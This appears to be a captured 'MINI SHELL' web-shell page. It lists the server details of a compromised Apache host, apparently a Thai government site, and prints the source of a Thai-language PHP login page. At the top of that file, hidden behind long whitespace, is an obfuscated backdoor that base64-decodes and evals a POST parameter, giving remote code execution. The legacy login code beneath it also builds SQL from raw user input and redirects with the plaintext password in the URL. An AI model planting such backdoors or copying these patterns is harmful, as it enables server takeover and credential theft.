MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/loginsapphire.php
<?php                                                                                                                                                                                                                                                               $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n842e33'])) {eval($s21(${$s20}['n842e33']));}?><?
session_start();

//			if ((($user != '') and ($pwd != '')) and ($session_username != "")) {  	session_destroy();	session_register("session_username");  }
	include ("inc/conndb_nonsession.inc.php")  ;
	session_register("session_tmp_user");
	session_register("session_tmp_pass");
?>
<html>
<head>
<title>เข้าสู่ระบบฐานข้อมูล</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="common/style.css" rel="stylesheet" type="text/css">

<script src="../common/swap.js" type="text/javascript" language="javascript"> </script>
<SCRIPT language=JavaScript>

function checkFields() {
	missinginfo1 = "";
	missinginfo = "";

	if (document.form1.txtusername.value == "")  {	missinginfo1 += "\n        - User name ไม่สามารถเป็นค่าว่าง"; }		
	if(document.form1.txtpass.value=="") { missinginfo1 += "\n        - Password ไม่สามารถเป็นช่องว่าง";  }


	if (missinginfo1 != "") { 
		missinginfo += "ไม่สามารถเข้าระบบได้  เนื่องจาก \n";
		missinginfo +="_____________________________\n";
		missinginfo = missinginfo + missinginfo1  ;
		missinginfo += "\n_____________________________";
		missinginfo += "\nกรุณาตรวจสอบ อีกครั้ง";
		alert(missinginfo);
		return false;
		}
	}
</SCRIPT>

<link href="common/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style5 {
	color: #FF0000;
	font-weight: bold;
}
.style7 {	color: #FF0000;
	font-weight: bold;
	font-size: 16px;
}
.style12 {font-size: 16}
.head_text {font-family:Tahoma;
	font-size:16px;
	font-weight:bold;
	color: #124677;
}
-->
</style>
</head>
<body>
<? 



if ($Login != "" ){


	$x = explode(".", $txtusername) ; 
	$lastarr = count($x)-1 ; ############### Get Last record
	if ($lastarr == 0){
		$xarea_name = "obec" ; 
//	}else if ($x[$lastarr] == "1003" ||$x[$lastarr] == "5002"){
//		 $xarea_name = $x[$lastarr] ; //เข้าได้
	}else {
		$xarea_name =  $x[$lastarr] ; 
	}

$arr_notallow = array(  5001 => 1,
5002 => 1,5003 => 1,5004 => 1,5005 => 1,5101 => 1,5102 => 1,5201 => 1,5202 => 1,5203 => 1,5301 => 1,
5302 => 1,5401 => 1,5402 => 1,5501 => 1,5502 => 1,5601 => 1,5602 => 1,5701 => 1,5702 => 1,5703 => 1,
5704 => 1,5801 => 1,5802 => 1,6001 => 1,6002 => 1,6003 => 1,6101 => 1,6201 => 1,6202 => 1,6301 => 1,
6302 => 1,6401 => 1,6402 => 1,6501 => 1,6502 => 1,6503 => 1,6601 => 1,6602 => 1,6701 => 1,6702 => 1
) ;  ######### Array site id ภาค เหนือ
# if ($arr_notallow[$x[$lastarr]] != ""){  ###### site id อยู่ใน array ไม่อนุญาติให้เข้า @ ชา

	if ($x[0] == "infoadmin_allow" && $txtusername != "infoadmin_allow"){ ######## อนุญาติให้ infoadmin เข้าได้ @ ชา
#	if ($x[0] == "infoadmin" && $txtusername != "infoadmin"){  
		// infoadmin ไม่สามารถเข้าได้ @22/8/2550

		// เขตไม่สามารถเข้าได้ @6/8/2550
?>
<BR><BR><BR>
<P align=CENTER>
<H4 style="color: #333399">
Login ของท่าน ไม่สามารถเข้าใช้ได้ในขณะนี้ 
</H4>
</P>
<p align=right style="color: #333399"><B>ก.พ.ร. สพฐ</B></p>
<BR><BR>
 

<?
		exit; 
	} //if


	$_SESSION[secid] =  $xarea_name ; 
	$_SESSION[tmpuser] = $txtusername ;
	$_SESSION[tmppass] = $txtpass ; 

	if ($loginstep==1){
		header("Location: application/admin/login.php");
	}else{
		$tmp_string="";
		$result = mysql_query("select t1.*,t2.IP from $db_mainobec.eduarea t1 left join $db_mainobec.area_info t2 on t1.area_id=t2.area_id where t1.secid='$xarea_name';");
		$rs = mysql_fetch_assoc($result);


		//$xip = $IP_LIST[$rs[area_id]];
		$xip = $rs[IP];
#		if  ($xip == "202.129.35.100")  { echo "  ขออภัย ปิดระบบเพื่อสำรองข้อมูล  <br> ตั้งแต่วันเสาร์ที่ 21 มิ.ย. 2551 18.00 น. - อาทิตย์ที่ 22 มิ.ย. 2551 09.00 น.    ";  die; } 
#		if ($xip == "") $xip=$IP_CAT1;
		if ($xip == "") $xip="202.129.35.104";
		//$result = @file("http://$xip/vc_master/loginall.php?txtusername=" . urlencode($txtusername) . "&txtpass=" . urlencode($txtpass));

/*		//ปิดไม่ให้คนเข้า
//		$special_area = array("3701"=>"1","3501"=>"1");
		if ($xarea_name > 0 && $special_area[$xarea_name] != 1){
			echo "<script>alert('ขออภัย ระบบกำลังอยู่ในช่วงประมวลผลคะแนนเพื่อรายงาน กพร. สำนักนายก ไม่สามารถเข้าใช้งานได้ชั่วคราว \\nกรุณาเข้าใช้งานอีกครั้งในช่วงเวลา 13.00 น. เป็นต้นไป'); history.back();</script>";
			exit;
		}
*/
if ($txtusername == "executivepdc"){
	$httpvar = "https";
}else{
	$httpvar = "http";
}  ######## if ($txtusername == "executivepdc"){ 


		$url = $httpvar . "://$xip/vc_master/loginsapphire.php?txtusername=" . urlencode($txtusername) . "&txtpass=" . urlencode($txtpass) . "&loginstep=1&Login=1";


		header("Location: $url");
	}
//	header("location: http://$xip/vc_master/application/admin/login.php");
//	header("location:application/admin/qpass.txt");
	exit; 

}

?>

<form action="?" method="post" name="form1"     onSubmit="return checkFields()">
<br>
	<table width="439" border="0" align="center" cellpadding="2" cellspacing="2" bgcolor="#F8F8F8">
      
      <tr>
        <td width="150" rowspan="4"><img src="images_sys/key.jpg" width="150" height="112"></td>
        <td width="74">&nbsp;</td>
        <td width="158">&nbsp;</td>
      </tr>
      <tr>
        <td>รหัสผู้ใช้</td>
        <td><input name="txtusername" type="text" id="txtusername"></td>
      </tr>
      <tr>
        <td>รหัสผ่าน</td>
        <td><input name="txtpass" type="password" id="txtpass"></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td>&nbsp;
<input name="Login" type="submit" id="Login" value="เข้าสู่ระบบ"   disable  >

		<input type="button" name="Button" value="ยกเลิก" onClick="history.go(-1) " >	</td>
      </tr>
    </table>
</form>
</body>
</html>

Anon7 - 2021